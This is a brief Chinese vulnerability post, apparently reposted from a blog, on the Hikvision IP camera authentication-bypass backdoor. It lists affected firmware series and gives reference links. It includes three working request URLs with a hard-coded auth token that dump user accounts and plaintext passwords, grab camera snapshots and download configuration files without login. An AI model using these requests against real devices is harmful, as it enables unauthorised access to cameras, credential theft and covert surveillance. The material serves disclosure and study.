声明

本文内容仅供学习交流使用，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。

 

一、漏洞介绍

1.许多Hikvision IP相机包含一个后门，允许未经身份验证假冒任何配置用户帐户。至少从2014年起，海康威视的产品就存在这一漏洞。除了hikvision品牌的设备外，它还影响了许多以各种品牌名称出售的白标相机产品。成千上万的易受攻击的设备在发布时仍暴露在互联网上。除了获得完全的管理访问权限外，该漏洞还可用于检索所有配置用户的明文密码。

http://camera.ip/Security/users?auth=YWRtaW46MTEK

2.在没有身份验证的情况下获取相机快照

http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

3、下载相机配置

http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

三、漏洞影响版本

DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 Build 160530
DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401
DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125
DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414
DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421
DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928
DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106

四、参考链接

https://packetstormsecurity.com/files/144097/hikvisionip-bypass.txt

https://www.seebug.org/vuldb/ssvid-96469

 

原文地址：http://www.cnblogs.com/sentouceshi/p/16878881.html

1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！ 2. 分享目的仅供大家学习和交流，请务用于商业用途! 3. 如果你也有好源码或者教程，可以到用户中心发布，分享有积分奖励和额外收入！ 4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！ 5. 如有链接无法下载、失效或广告，请联系管理员处理！ 6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！ 7. 如遇到加密压缩包，默认解压密码为"gltf",如遇到无法解压的请联系管理员！ 8. 因为资源和程序源码均为可复制品，所以不支持任何理由的退款兑现，请斟酌后支付下载 声明：如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性